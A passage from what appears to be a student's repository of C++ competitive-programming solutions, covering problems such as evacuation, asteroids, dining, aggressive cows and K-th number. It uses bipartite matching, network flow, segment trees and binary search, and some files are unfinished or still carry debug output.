for (int i = 0; i < t; i++) {
scanf("%d%d", &X, &Y);
for (int j = 0; j < X; j++) {
for (int k = 0; k < Y; k++) {
cin >> field[j][k];
}
}
solve();
}
return 0;
}
<file_sep>/evacuation.cpp
#include<stdio.h>
#include<iostream>
#include<vector>
#include<queue>
#include<string.h>
using namespace std;
#define MAX_Y 12
#define MAX_X 12
#define MAX_V 244
char dat[MAX_Y][MAX_X];
vector<int> dX, dY;
vector<int> pX, pY;
int d[MAX_Y][MAX_X][MAX_Y][MAX_X];
int dx[4] = {-1, 1, 0, 0};
int dy[4] = {0, 0, -1, 1};
int X, Y;
int V;
vector<int> G[MAX_V];
int match[MAX_V];
bool used[MAX_V];
void add_edge(int i, int u){
G[i].push_back(u);
G[u].push_back(i);
}
bool dfs(int i){
used[i] = true;
for (int j = 0; j < G[i].size(); j++) {
int u = G[i][j], w = match[u];
if (w < 0 || (!used[w] && dfs(w))) {
match[i] = u;
match[u] = i;
return true;
}
}
return false;
}
int bipartite_matching(){
int res = 0;
for (int i = 0; i < V; i++) {
if (match[i] < 0) {
memset(used, 0, sizeof(used));
if (dfs(i)) {
res++;
}
}
}
return res;
}
bool C(int t){
int door = dX.size(), people = pX.size();
cout << door << " " << people << endl;
for (int i = 0; i < t*door+people; i++) {
G[i].clear();
}
for (int i = 0; i < door; i++) {
for (int j = 0; j < people; j++) {
if (d[dY[i]][dX[i]][pY[j]][pX[j]] >= 0) {
for (int k = d[dY[i]][dX[i]][pY[j]][pX[j]]; k <= t; k++) {
add_edge((k-1)*door+i, t*door+j);
if (t == 12) {
cout << "left " << (k-1)*door+i << " right " << t*door+j<< endl;
}
}
}
}
}
memset(match, -1, sizeof(match));
return bipartite_matching() == people;
}
void bfs(int x, int y){
queue<int> qx, qy;
qx.push(x);
qy.push(y);
int depth = 0;
int current = 1;
int next = 0;
while(!qx.empty()){
int nx = qx.front();
qx.pop();
int ny = qy.front();
qy.pop();
current--;
if(dat[ny][nx] == '.'){
d[y][x][ny][nx] = depth;
//cout << "hello" << endl;
//cout << x << " " << y << " " << nx << " " << ny << endl;
}
for(int i = 0; i < 4; i++){
int nextx = nx+dx[i], nexty = ny+dy[i];
if (nextx >= 0 && nextx < X && nexty >= 0 && nexty < Y ){
if(dat[nexty][nextx] == '.' && d[y][x][nexty][nextx] < 0){
qx.push(nextx);
qy.push(nexty);
next++;
}
}
}
if(current == 0){
current = next;
next = 0;
depth++;
}
}
}
int main(){
int t;
scanf("%d", &t);
for (int i = 0; i < t; i++) {
scanf("%d%d", &Y, &X);
memset(d, -1, sizeof(d));
//cout << X << " " << Y;
for (int j = 0; j < Y; j++) {
for (int k = 0; k < X; k++) {
cin >> dat[j][k];
}
//cout << endl;
for (int k = 0; k < X; k++) {
//cout << dat[j][k];
}
}
//cout << "out "<< endl;
for (int j = 0; j < Y; j++) {
for (int k = 0; k < X; k++) {
if (dat[j][k] == 'D') {
dX.push_back(k);
dY.push_back(j);
bfs(k, j);
}else if(dat[j][k] == '.'){
pX.push_back(k);
pY.push_back(j);
}
}
}
int n = X*Y;
int lb = -1;
int ub = n+1;
while (ub - lb > 1) {
int mid = (lb+ub)/2;
cout << lb <<" " << ub << " " << mid << endl;
if(C(mid)) ub = mid;
else lb = mid;
}
if (ub > n) {
cout << "Impossible"<< endl;
}else{
cout << ub<< endl;
}
for (int j = 0; j < Y; j++) {
for (int k = 0; k < X; k++) {
if(dat[j][k] == 'D'){
cout << "door " << j << " " << k << endl;
for (int l = 0; l < Y; l++) {
for (int m = 0; m < X; m++) {
if(dat[l][m] == '.'){
cout << d[j][k][l][m];
}else{
cout << dat[l][m];
}
}
cout << endl;
}
}
cout << endl;
}
}
}
return 0;
}
<file_sep>/cow_face.cpp
#include<iostream>
#include<string.h>
using namespace std;
#define N 5000
bool f[N];
int dir[N];
int n;
int cal(int k){
memset(f, 0, sizeof(f));
int sum = 0;
int ans = 0;
for (int i = 0; i <= n-k; i++) {
if ((dir[i]+sum)%2==1) {
ans++;
f[i] = 1;
}
sum += f[i];
if (i-k+1 >= 0) {
sum -= f[i-k+1];
}
}
for (int i = n-k+1; i < n; i++) {
if ((dir[i]+sum)%2==1) {
return -1;
}
if (i-k+1 >= 0) {
sum -= f[i-k+1];
}
}
return ans;
}
int main(){
cin >> n;
char c;
for (int i = 0; i < n; i++) {
cin >> c;
if (c == 'B') {
dir[i] = 1;
}else{
dir[i] = 0;
}
}
int res = n;
int res2 = 1;
for (int i = 1; i <= n; i++) {
int tmp = cal(i);
if (tmp >= 0 &&tmp < res) {
res = tmp;
res2 = i;
}
}
cout << res2 << " " << res << endl;
return 0;
}<file_sep>/asteroids.cpp
#include<stdio.h>
#include<string.h>
#include<vector>
using namespace std;
#define MAX_N 500
int n, k;
vector<int> G[MAX_N*2];
int match[MAX_N*2];
bool used[MAX_N*2];
void add_edge(int i, int u){
G[i].push_back(u);
G[u].push_back(i);
}
bool dfs(int i){
used[i] = true;
for (int j = 0; j < G[i].size(); j++) {
int u = G[i][j], w = match[u];
if (w < 0 || (!used[w] && dfs(w))) {
match[i] = u;
match[u] = i;
return true;
}
}
return false;
}
int bipartite_matching(){
int res = 0;
for (int i = 0; i < n*2; i++) {
if (match[i] < 0) {
memset(used, 0, sizeof(used));
if (dfs(i)) {
res++;
}
}
}
return res;
}
int main (){
while(scanf("%d%d", &n, &k) != EOF) {
int r, c;
for (int i = 0; i < k; i++) {
scanf("%d%d", &r, &c);
add_edge(r-1, n+c-1);
}
memset(match, -1, sizeof(match));
printf("%d\n", bipartite_matching());
}
return 0;
}<file_sep>/dining.cpp
#include<stdio.h>
#include<vector>
#include<string.h>
using namespace std;
#define MAX_N 100
#define MAX_F 100
#define MAX_D 100
#define INF 1e9
#define MAX_V 405
#define MAX_E 100000
struct edge{
int to;
int cap;
int rev;
};
vector<edge> G[MAX_N*2+MAX_F+MAX_D+2];
bool used[MAX_V];
void add_edge(int from, int to, int cap){
G[from].push_back((edge){to, cap, G[to].size()});
G[to].push_back((edge){from, 0, G[from].size()-1});
}
int dfs(int v, int t, int f){
if (v == t) {
return f;
}
used[v] = true;
for (int i = 0; i < G[v].size(); i++) {
edge &e = G[v][i];
if (!used[e.to] && e.cap > 0) {
int d = dfs(e.to, t, min(f, e.cap));
if (d > 0) {
e.cap -= d;
G[e.to][e.rev].cap += d;
return d;
}
}
}
return 0;
}
int max_flow(int s, int t){
int flow = 0;
for (; ; ) {
memset(used, 0, sizeof(used));
int f = dfs(s,t, INF);
if (f == 0) {
return flow;
}
flow+=f;
}
}
int main(){
int n, f, d;
scanf("%d %d %d", &n, &f, &d);
for (int i = 1; i <= f; i++) {
add_edge(0, i, 1);
}
for (int i = f+n*2+1; i <= f+n*2+d; i++) {
add_edge(i, f+n*2+d+1, 1);
}
for (int i = f+1; i <=f+n; i++) {
add_edge(i, i+n, 1);
}
int fi, di;
for (int i = 1; i <= n; i++) {
scanf("%d %d", &fi, &di);
int a;
for (int j = 0; j < fi; j++) {
scanf("%d", &a);
add_edge(a, f+i, 1);
}
for (int j = 0; j < di; j++) {
scanf("%d", &a);
add_edge(f+n+i, f+n*2+a, 1);
}
}
int ans = max_flow(0, f+n*2+d+1);
printf("%d\n", ans);
return 0;
}<file_sep>/add_integers_segment.cpp
#include<iostream>
#include<algorithm>
#define SIZE 200000
using namespace std;
int n, q;
int data[SIZE];
int datb[SIZE];
void add(int a, int b, int x, int k, int l, int r){
if (b >= r && a <= l) {
data[k] += x;
return;
}else if(b > l && a < r){
datb[k]+= (min(b,r)-max(a,l))*x;
int m = (l+r)/2;
add(a, b, x, 2*k+1, l, m);
add(a, b, x, 2*k+2, m, r);
}
}
int sum(int a, int b, int k, int l, int r){
if (a >= r || b <= l) {
return 0;
}
if (b >= r && a <= l) {
return data[k]*(r-l)+datb[k];
}
long long res = (min(b,r)-max(a,l))*data[k];
int m = (l+r)/2;
res += sum(a, b, 2*k+1, l, m);
res += sum(a, b, 2*k+2, m, r);
return res;
}
int main(){
cin >> n >> q;
int num;
for (int i = 0; i < n; i++) {
cin >> num;
add(i, i+1, num, 0, 0, n);
}
cout << endl;
for (int i = 0; i < 3*n+1; i++) {
cout << datb[i] << " ";
}
cout << endl;
for (int i = 0; i < 3*n+1; i++) {
cout << data[i] << " ";
}
cout << endl;
char c;
int x, y, z;
for (int i = 0; i < q; i++) {
cin >> c;
if (c == 'C') {
cin >> x >> y >> z;
add(x-1, y, z, 0, 0, n);
}else{
cin >> x >> y;
cout << sum(x-1, y, 0, 0, n)<<endl;
}
}
return 0;
}<file_sep>/expedition.cpp
#include<iostream>
#include<queue>
#include<utility>
#include<algorithm>
#include<vector>
using namespace std;
#define MAX_N 10000
//int a[MAX_N+1], b[MAX_N+1];
vector<pair<int,int> > v;
bool pairCompare(const pair<int,int>& one, const pair<int,int>& two){
return one.first < two.first;
}
int main(){
int N, L, P;
cin >> N;
int a, b;
for (int i = 0; i < N ; i++) {
cin >> a >> b;
v.push_back(make_pair(a,b));
}
cin >> L >> P;
for (int i = 0; i < N; i++) {
v[i].first = L-v[i].first;
}
v.push_back(make_pair(L,0));
sort(v.begin(), v.end(), pairCompare);
priority_queue<int> q;
bool f = true;
int ans = 0;
for ( int i = 0; i <= N; i++) {
while (P < v[i].first && !q.empty()) {
P += q.top();
q.pop();
ans++;
}
if (P < v[i].first) {
f = false;
break;
}else{
q.push(v[i].second);
}
}
if (f) {
cout << ans << endl;
}else{
cout << -1 << endl;
}
return 0;
}<file_sep>/aggressive_cows.cpp
#include<stdio.h>
#include<algorithm>
using namespace std;
#define N 100000
int x[N];
int n;
bool ok(int m, int c){
int prev = x[0];
c--;
for (int i = 1; i < n; i++) {
if (x[i] - prev >= m) {
prev = x[i];
c--;
if (c == 0) {
return true;
}
}
}
return false;
}
int main(){
int c;
scanf("%d%d",&n, &c);
for (int i = 0; i < n; i++) {
scanf("%d", &x[i]);
}
sort(x, x+n);
int lb = 1;
int ub = (x[n-1]-x[0])/(c-1);
int ans;
while (lb <= ub) {
int mid = (lb+ub)/2;
if(ok(mid, c)){
ans = mid;
lb = mid+1;
}else{
ub = mid-1;
}
}
printf("%d\n", ans);
return 0;
}<file_sep>/layout.cpp
#include<iostream>
#include<algorithm>
#include<stdio.h>
#include<vector>
using namespace std;
#define N 1000
#define INF 1000001
struct edge {
int from, cost;
};
vector<edge> g[N];
int d[N];
int main(){
int n, ml, md;
cin >> n >> ml >> md;
int a, b, l;
for (int i = 0; i < ml; i++) {
scanf("%d%d%d", &a, &b, &l);
a--;
b--;
edge e;
e.from = a;
e.cost = l;
g[b].push_back(e);
}
for (int i = 0; i < md; i++) {
scanf("%d%d%d", &a, &b, &l);
a--;
b--;
edge e;
e.from = b;
e.cost = -l;
g[a].push_back(e);
}
for (int i = 0; i < n-1; i++) {
edge e;
e.from = i+1;
e.cost = 0;
g[i].push_back(e);
}
for (int i = 0; i < n; i++) {
d[i] = INF;
}
d[0] = 0;
for (int k = 0; k < n; k++) {
bool update = false;
for (int i = 0; i < n; i++) {
for (int j = 0; j < g[i].size(); j++) {
edge e = g[i][j];
if (d[e.from]+e.cost < d[i]) {
d[i] = d[e.from]+e.cost;
}
}
}
}
if (d[n-1] == INF) {
cout << -2 << endl;
}else if(d[0] < 0){
cout << -1 << endl;
}else{
cout << d[n-1] << endl;
}
return 0;
}<file_sep>/traveling_stagecoach.cpp
#include<stdio.h>
#include<vector>
#include<algorithm>
#include<string.h>
using namespace std;
#define MAX_N 8
#define MAX_M 30
#define INF 1e9 + 7
int d[MAX_M][MAX_M];
double dp[1<<MAX_N][MAX_M];
int t[MAX_N];
int main(){
int n,m, a, b, p;
while(scanf("%d%d%d%d%d", &n, &m, &p, &a, &b) != EOF && n > 0){
for (int i = 0; i < n; i++) {
scanf("%d", &t[i]);
}
memset(d, -1, sizeof(d));
int x, y, z;
for (int i = 0; i < p; i++) {
scanf("%d%d%d", &x, &y, &z);
x--;
y--;
d[x][y] = z;
d[y][x] = z;
}
for (int i = 0; i < 1 <<n; i++) {
fill(dp[i], dp[i]+m, INF);
}
dp[(1<<n)-1][a-1] = 0.0;
double res = INF;
for (int S = (1<<n)-1; S >= 0; S--) {
res = min(res, dp[S][b-1]);
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (S>>j&1) {
for (int u = 0; u < m; u++) {
if(d[i][u] > -1){
dp[S & ~(1<<j)][u] = min(dp[S & ~(1<<j)][u], dp[S][i]+(double)d[i][u]/(double)t[j]);
}
}
}
}
}
}
if (res == INF) {
printf("Impossible\n");
}else{
printf("%.3f\n", res);
}
}
return 0;
}<file_sep>/jack_straws.cpp
#include<stdio.h>
using namespace std;
#define MAX_N 13
int n;
vector<int> G[MAX_N];
double add(double a, double b){
if (abs(a+b) < EPS * (abs(a) + abs(b))) {
return 0;
}
return a + b;
}
struct P{
double x, y;
P() {}
P(double x, double y) : x(x), y(y){
}
P operator + (P p){
return P(add(x, p.x), add(y, p.y));
}
P operator - (P p){
return P(add(x, -p.x), add(y, -p.y));
}
P operator * (double d){
return P(x*d, y*d);
}
double dot(P p){
return add(x*p.x, y*p.y);
}
double det(P p){
return add(x*p.y, -y*p.x);
}
};
bool on_seg(P p1, P p2, P q1, P q2){
}
bool isCrossDirectly(P p1, P p2, P q1, P q2){
}
int main(){
scanf("%d", &n);
int x1, y1, x2, y2;
for (int i = 0; i < n; i++) {
scanf("%d %d %d %d", &x1, &y1, &x2, &y2);
}
int a = 1, b = 1;
while (a != 0 && b != 0) {
scanf("%d %d", &a, &b);
}
for (int i = 0; i < n; i++) {
for (int j = i; j < n; j++) {
isCrossDirectly(
}
}
return 0;
}
<file_sep>/cable_master.cpp
#include<math.h>
#include<algorithm>
#include<stdio.h>
using namespace std;
#define EPS 0.0001
int main(){
int n, k;
scanf("%d%d", &n, &k);
double l[n];
double sum = 0.0;
for (int i = 0; i < n; i++) {
scanf("%lf",&l[i]);
sum += l[i];
}
double s = 0.0;
double t = sum/k;
double m;
for (int j = 0; j < 100; j++) {
m = (t+s)/2;
int num = 0;
for (int i = 0; i < n; i++) {
num += (int)(l[i]/m);
}
if(num < k){
t = m;
}else{
s = m;
}
}
printf("%.2f\n", floor(m*100)/100);
return 0;
}<file_sep>/windy.cpp
#include<stdio.h>
#include<vector>
using namespace std;
#define N 50
#define M 50
#define MAX_V 2602
#define INF 1e9
#define MAX_E 125100
struct edge{
int to, cap, cost, rev;
};
vector<edge> G[MAX_V];
int dist[MAX_V];
int prevv[MAX_V];
int preve[MAX_E];
int v;
void add_edge(int from, int to, int cap, int cost){
G[from].push_back((edge) {to, cap, cost, G[to].size()});
G[to].push_back((edge){from, 0, -cost, G[from].size()-1});
}
int min_cost_flow(int s, int t, int f){
int res = 0;
while (f > 0) {
bool update = true;
fill(dist, dist+v, INF);
dist[s] = 0;
while (update == true) {
update = false;
for (int i = 0 ; i < v; i++) {
for (int j = 0; j < G[i].size(); j++) {
edge &ed = G[i][j];
if (ed.cap > 0 && dist[i]+ed.cost < dist[ed.to]) {
dist[ed.to] = dist[i]+ed.cost;
prevv[ed.to] = i;
preve[ed.to] = j;
update = true;
}
}
}
}
if (dist[t] == INF) {
return -1;
}
int d = f;
for (int i = t; i != s; i = prevv[i]) {
d = min(d, G[prevv[i]][preve[i]].cap);
}
f -= d;
res += d*dist[t];
for (int i = t; i != s; i = prevv[i]) {
edge &ed = G[prevv[i]][preve[i]];
ed.cap -= d;
G[i][ed.rev].cap += d;
}
}
return res;
}
int main(){
int n, m;
scanf("%d %d", &n, &m);
v = 2+n+m+n*m;
int s = n+m*n+m;
int t = s+1;
int a;
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
scanf("%d", &a);
for (int k = 0; k < n; k++) {
add_edge(i, n+j*n+k, 1, a*(k+1));
}
}
}
for (int i = 0; i < n; i++) {
add_edge(s, i, 1, 0);
}
for (int i = n; i < v-2; i++) {
add_edge(i, t, 1, 0);
}
printf("%.2lf\n", (double)min_cost_flow(s, t, n)/n);
return 0;
}<file_sep>/evacuation_sample.cpp
#include<cstdio>
#include<iostream>
#include<queue>
#include<vector>
#include<cstring>
#define MAX_X 15
#define MAX_Y 15
#define MAX_V 15*15*100
using namespace std;
struct P { int x, y; };
int dx[] = {0, 1, 0, -1};
int dy[] = {1, 0, -1, 0};
int X, Y;
char field[MAX_X][MAX_Y];
int dist[MAX_X][MAX_Y][MAX_X][MAX_Y];
vector<P> ds, ps;
vector<int> G[MAX_V];
int match[MAX_V];
bool used[MAX_V];
void add_edge(int u, int v){
G[u].push_back(v);
G[v].push_back(u);
}
bool dfs(int v){
used[v] = true;
for(int i = 0; i < G[v].size(); i++){
int u = G[v][i];
int u_pair = match[u];
if(u_pair < 0 || (!used[u_pair] && dfs(u_pair))){
match[v] = u;
match[u] = v;
return true;
}
}
return false;
}
void bfs(P door, int d[MAX_X][MAX_Y]){
queue<P> q;
d[door.x][door.y] = 0;
q.push(door);
while(!q.empty()){
P p = q.front(); q.pop();
for(int i = 0; i < 4; i++){
int nx = p.x + dx[i], ny = p.y + dy[i];
if(field[nx][ny] == '.' && d[nx][ny] < 0){
d[nx][ny] = d[p.x][p.y] + 1;
q.push((P){nx, ny});
}
}
}
}
void solve(){
int max_t = X * Y;
ds.clear(); ps.clear();
memset(dist, -1, sizeof(dist));
for(int i = 0; i < MAX_V; i++){
G[i].clear();
}
for(int x = 0; x < MAX_X; x++){
for(int y = 0; y < MAX_Y; y++){
if(field[x][y] == 'D'){
ds.push_back((P){x, y});
bfs((P){x, y}, dist[x][y]);
}else if(field[x][y] == '.'){
ps.push_back((P){x, y});
}
}
}
for(int i = 0; i < ds.size(); i++){
for(int j = 0; j < ps.size(); j++){
P d = ds[i], p = ps[j];
if(dist[d.x][d.y][p.x][p.y] >= 0){
for(int t = dist[d.x][d.y][p.x][p.y]; t <= max_t; t++){
add_edge((t - 1) * ds.size() + i, max_t * ds.size() + j);
cout << "max_t " << max_t << endl;
if (max_t == 12) {
cout << "left " << (t-1)*ds.size()+i << " right " << max_t * ds.size() + j<< endl;
}
}
}
}
}
if(ps.size() == 0){
printf("0\n");
return;
}
int num = 0;
memset(match, -1, sizeof(match));
for(int v = 0; v < max_t * ds.size(); v++){
memset(used, 0, sizeof(used));
if(dfs(v)){
if(++num == ps.size()){
printf("%lu\n", (v / ds.size() + 1));
return;
}
}
}
printf("impossible\n");
}
int main(){
int C;
scanf("%d", &C);
while(C--){
scanf("%d %d", &X, &Y);
memset(field, 'X', sizeof(field));
for(int i = 1; i <= X; i++){
scanf("%s", &field[i][1]);
}
solve();
}
}
<file_sep>/domino_backtrack.cpp
#include<iostream>
using namespace std;
#define MAX_N 1000
#define M 1000000000
char a[MAX_N][MAX_N];
int remain, n;
int ans = 0;
int x[2] = {1, 0};
int y[2] = {0, 1};
//void print(){
// cout << "-----------"<< endl;
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < n; j++) {
// cout << a[i][j];
// }
// cout << " | ";
// for (int j = 0; j < n; j++) {
// cout << used[i][j];
// }
// cout << endl;
// }
// cout << "-----------"<< endl;
//}
//void dfs(int i, int j){
// used[i][j] = true;
// for (int k = 0; k < 2; k++) {
// int ni = i+x[k], nj = j+y[k];
// if (ni >= 0 && ni < n && nj >= 0 && nj < n && a[ni][nj] == '.') {
// a[i][j] = 'x';
// a[ni][nj] = 'x';
// print();
// remain -= 2;
// if (remain == 0) {
// ans++;
// }else{
// for (int l = 0; l < n; l++) {
// for (int m = 0; m < n; m++) {
// if (a[l][m] == '.' && !used[l][m]) {
// dfs(l, m);
// }
// }
// }
// }
// a[i][j] = '.';
// a[ni][nj] = '.';
// remain += 2;
// used[i][j] = false;
//
// }
// }
//}
int rec(int i, int j, bool used[MAX_N][MAX_N]){
cout << i << endl;
if (j == n) {
return rec(i+1, 0, used);
}
if (i == n) {
cout << "here" << endl;
return 1;
}
if (used[i][j] || a[i][j]=='x') {
return rec(i, j+1, used);
}
int res = 0;
used[i][j] = true;
if (j+1 < n && !used[i][j+1] && a[i][j+1] == '.') {
used[i][j+1] = true;
cout << "here1" << endl;
res += rec(i, j+1, used);
used[i][j+1] = false;
}
if (i+1 < n && !used[i+1][j] && a[i+1][j] == '.') {
used[i+1][j] = true;
cout << "here2" << endl;
res += rec(i, j+1, used);
used[i+1][j] = false;
}
used[i][j] = false;
return res % M;
}
int main(){
cin >> n;
int si, sj;
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
cin >> a[i][j];
}
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
cout << a[i][j];
}
cout << endl;
}
//dfs(si, sj);
bool used[MAX_N][MAX_N];
memset(used, 0, sizeof(used));
cout << rec(0, 0, used) << endl;
return 0;
}<file_sep>/intervals.cpp
#include<iostream>
#include<utility>
#include<vector>
using namespace std;
#define MAX_V 200
#define INF 1e9
#define MAX_E 1000
int N, k, v;
struct edge{
int to, cap, cost, rev;
};
vector<edge> G[MAX_V];
int dist[MAX_V];
int prevv[MAX_V];
int preve[MAX_E];
void add_edge(int from, int to, int cap, int cost){
G[from].push_back((edge) {to, cap, cost, G[to].size()});
G[to].push_back((edge){from, 0, -cost, G[from].size()-1});
}
int min_cost_flow(int s, int t, int f){
int res = 0;
while (f > 0) {
bool update = true;
fill(dist, dist+v, INF);
dist[s] = 0;
while (update == true) {
update = false;
for (int i = 0 ; i < v; i++) {
for (int j = 0; j < G[i].size(); j++) {
edge &ed = G[i][j];
if (ed.cap > 0 && dist[i]+ed.cost < dist[ed.to]) {
dist[ed.to] = dist[i]+ed.cost;
prevv[ed.to] = i;
preve[ed.to] = j;
update = true;
}
}
}
}
if (dist[t] == INF) {
return -1;
}
int d = f;
for (int i = t; i != s; i = prevv[i]) {
d = min(d, G[prevv[i]][preve[i]].cap);
}
f -= d;
res += d*dist[t];
for (int i = t; i != s; i = prevv[i]) {
edge &ed = G[prevv[i]][preve[i]];
ed.cap -= d;
G[i][ed.rev].cap += d;
}
}
return res;
}
int main(){
scanf("%d %d", &N, &k);
int a[MAX_V], b[MAX_V], w[MAX_V];
vector<int> x;
int s, t;
for (int i = 0; i < N; i++) {
scanf("%d %d %d", &a[i], &b[i], &w[i]);
x.push_back(a[i]);
x.push_back(b[i]);
}
sort(x.begin(), x.end());
x.erase(unique(x.begin(), x.end()), x.end());
int m = x.size();
s = m;
t = s+1;
v = t + 1;
for(int i = 0; i < v; i++){
G[i].clear();
}
int res = 0;
add_edge(s, 0, k, 0);
add_edge(m-1, t, k, 0);
for (int i = 0; i < m-1; i++) {
add_edge(i, i+1, INF, 0);
}
for (int i = 0; i < N; i++) {
int u = find(x.begin(), x.end(), a[i]) - x.begin();
int y = find(x.begin(), x.end(), b[i]) - x.begin();
add_edge(y, u, 1, w[i]);
add_edge(s, y, 1, 0);
add_edge(u, t, 1, 0);
res -= w[i];
}
res += min_cost_flow(s, t, k+N);
printf("%d\n", -res);
return 0;
}<file_sep>/physics.cpp
#include<iostream>
#include<stdio.h>
#include<math.h>
#include<algorithm>
#define N 100
#define g 10.0
using namespace std;
int n, h, r, t;
double y[N];
double cal(int t){
if (t < 0) {
return h;
}
double T = sqrt(2*h/g);
int k = (int)(t/T);
if (k % 2 == 0) {
double d = t-k*T;
return h-g*d*d/2;
}else{
double d = (k+1)*T-t;
return h-g*d*d/2;
}
}
int main(){
int q;
cin >> q;
for (int i = 0; i < q; i++) {
cin >> n >> h >> r >> t;
for (int j = 0; j < n; j++) {
y[j] = cal(t-j);
}
sort(y, y+n);
for (int j = 0; j < n; j++) {
printf("%.2f%c", y[j]+2*r*j/100.0, j+1 == n ? '\n' : ' ');
}
}
return 0;
}<file_sep>/temp.cpp
#include <iostream>
#include <complex>
#include <sstream>
#include <string>
#include <algorithm>
#include <deque>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <vector>
#include <set>
#include <limits>
#include <cstdio>
#include <cctype>
#include <cmath>
#include <cstring>
#include <cstdlib>
#include <ctime>
using namespace std;
#define REP(i, j) for(int i = 0; i < (int)(j); ++i)
#define FOR(i, j, k) for(int i = (int)(j); i < (int)(k); ++i)
#define P pair<int, int>
#define SORT(v) sort((v).begin(), (v).end())
#define REVERSE(v) reverse((v).begin(), (v).end())
//#define int long long
const int MAX_N = 1e5 + 10;
const int MAX_ST = (1 << 18) - 1;
int N, M, A[MAX_N], sorted_A[MAX_N];
vector<int> seg[MAX_ST];
void init(int k, int l, int r){
if(r - l <= 1) seg[k].push_back(A[l]);
else{
int chl = k * 2 + 1, chr = k * 2 + 2;
init(chl, l, (l + r) / 2);
init(chr, (l + r) / 2, r);
seg[k].resize(r - l);
merge(seg[chl].begin(), seg[chl].end(), seg[chr].begin(), seg[chr].end(), seg[k].begin());
}
}
int cnt(int a, int b, int x, int k, int l, int r){
if(r <= a || l >= b) return 0;
else if(l >= a && r <= b) return upper_bound(seg[k].begin(), seg[k].end(), x) - seg[k].begin();
return cnt(a, b, x, k * 2 + 1, l, (l + r) / 2) + cnt(a, b, x, k * 2 + 2, (l + r) / 2, r);
}
int main() {
scanf("%d %d", &N, &M);
REP(i, N){
scanf("%d", &A[i]);
sorted_A[i] = A[i];
}
sort(sorted_A, sorted_A + N);
init(0, 0, N);
REP(z, M){
int l, r, k; scanf("%d %d %d", &l, &r, &k);
--l;
int hi = N - 1, lo = -1;
while(hi - lo > 1){
int m = (hi + lo) / 2, x = sorted_A[m];
int c = cnt(l, r, x, 0, 0, N);
//debug
cout <<lo <<", " <<m <<", " <<hi <<" | " <<x <<", " <<c <<endl;
if(c >= k) hi = m;
else lo = m;
}
printf("%d\n", sorted_A[hi]);
}
return 0;
}
<file_sep>/k-th_number_segment.cpp
#include<stdio.h>
#include<iostream>
#include<vector>
#include<algorithm>
using namespace std;
const int ST_SIZE = (1 << 18) -1;
#define MAX_N 100000
vector<int> dat[ST_SIZE];
int a[MAX_N];
int num[MAX_N];
void init(int k, int l, int r){
if (r - l <= 1) {
dat[k].push_back(a[l]);
}else{
int lch = k*2+1, rch = k*2+2, m = (l+r)/2;
init(lch, l, m);
init(rch, m, r);
dat[k].resize(r-l);
merge(dat[lch].begin(), dat[lch].end(), dat[rch].begin(), dat[rch].end(), dat[k].begin());
}
}
int query(int i, int j, int x, int k, int l, int r){
if (j <= l || i >= r) {
return 0;
}else if(i <= l && j >= r){
return upper_bound(dat[k].begin(),dat[k].end(),x)-dat[k].begin();
}else{
return query(i, j, x, k*2+1, l, (l+r)/2) + query(i, j, x, k*2+2, (l+r)/2, r);
}
}
int main(){
int n, m;
scanf("%d%d", &n, &m);
for (int i = 0; i < n; i++) {
scanf("%d", &a[i]);
num[i] = a[i];
}
sort(num, num+n);
init(0, 0, n);
int i, j, k;
for (int t = 0; t < m; t++) {
scanf("%d%d%d", &i, &j, &k);
int lb = -1;
int ub = n-1;
i--;
while(ub - lb > 1){
int md = (ub+lb)/2;
int c = query(i, j, num[md], 0, 0, n);
if (c >= k) {
ub = md;
}else{
lb = md;
}
}
printf("%d\n", num[ub]);
}
return 0;
}
<file_sep>/fliptile.cpp
#include<iostream>
#include<stdio.h>
#include<string.h>
#define M 15
#define N 15
using namespace std;
int m, n;
int x[5] = {-1, 0,0, 0 ,1 };
int y[5] = {0,-1, 0, 1, 0 };
int ans[M][N];
int flip[M][N];
int tile[M][N];
int res = -1;
int res1 = 0;
int opt[M][N];
bool whilteOrNot(int i, int j){
if ((tile[i][j] + flip[i][j])%2 == 0) {
return true;
}else{
return false;
}
}
int cal(){
int a = 0;
for (int i = 1; i < m; i++) {
for (int j = 0; j < n; j++) {
if (whilteOrNot(i-1, j) == false) {
//if i-1, j is black
ans[i][j] = 1;
a++;
for (int k = 0; k < 5; k++) {
int x2 = i+x[k];
int y2 = j+y[k];
if (x2 >= 0 && x2 < m && y2 >= 0 && y2 < n) {
flip[x2][y2]++;
}
}
}
}
}
return a;
}
bool check(){
for (int i = 0; i < n; i++) {
if ((tile[m-1][i]+flip[m-1][i])%2!=0) {
return false;
}
}
return true;
}
int main(){
cin >> m >> n;
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
scanf("%d", &tile[i][j]);
}
}
for (int i = 0; i < 1 << n; i++) {
memset(flip, 0, sizeof(flip));
res1 = 0;
for (int j = 0; j < n; j++) {
int a = n-1-j;
int b = i >> j & 1;
ans[0][a] = b;
if (b == 1) {
res1++;
for (int k = 0; k < 5; k++) {
int x2 = 0+x[k];
int y2 = a+y[k];
if (x2 >= 0 && x2 < m && y2 >= 0 && y2 < n) {
flip[x2][y2]++;
}
}
}
}
res1 += cal();
if (check()==true && (res1 < res||res < 0)) {
res = res1;
for (int j = 0; j < m; j++) {
for (int k = 0; k < n; k++) {
opt[j][k] = ans[j][k];
ans[j][k] = 0;
}
}
}
}
if (res < 0) {
cout << "IMPOSSIBLE" << endl;
}else{
for (int j = 0; j < m; j++) {
for (int k = 0; k < n; k++) {
printf("%d%c", opt[j][k], k+1==n ? '\n' : ' ');
}
}
}
return 0;
}<file_sep>/jessica.cpp
#include<stdio.h>
#include<iostream>
#include<algorithm>
#include<map>
using namespace std;
int main(){
int p;
cin >> p;
int a[p];
map<int, int> b;
int n = 0;
for (int i = 0; i < p; i++) {
scanf("%d", &a[i]);
if (b[a[i]] == 0) {
n++;
}
b[a[i]]++;
}
int s = 0;
int t = 0;
int ans = p;
int num = 0;
b.clear();
for (; ; ) {
while (t < p && num < n) {
if (b[a[t]] == 0) {
num++;
}
b[a[t++]]++;
}
if (num < n) {
break;
}
while (b[a[s]] > 1) {
b[a[s]]--;
s++;
}
ans = min(ans, t-s);
b[a[s++]]--;
num--;
}
cout << ans << endl;
return 0;
}<file_sep>/blocks.cpp
#include<stdio.h>
typedef long long ll;
ll pow(ll x, ll n){
ll ans = 1;
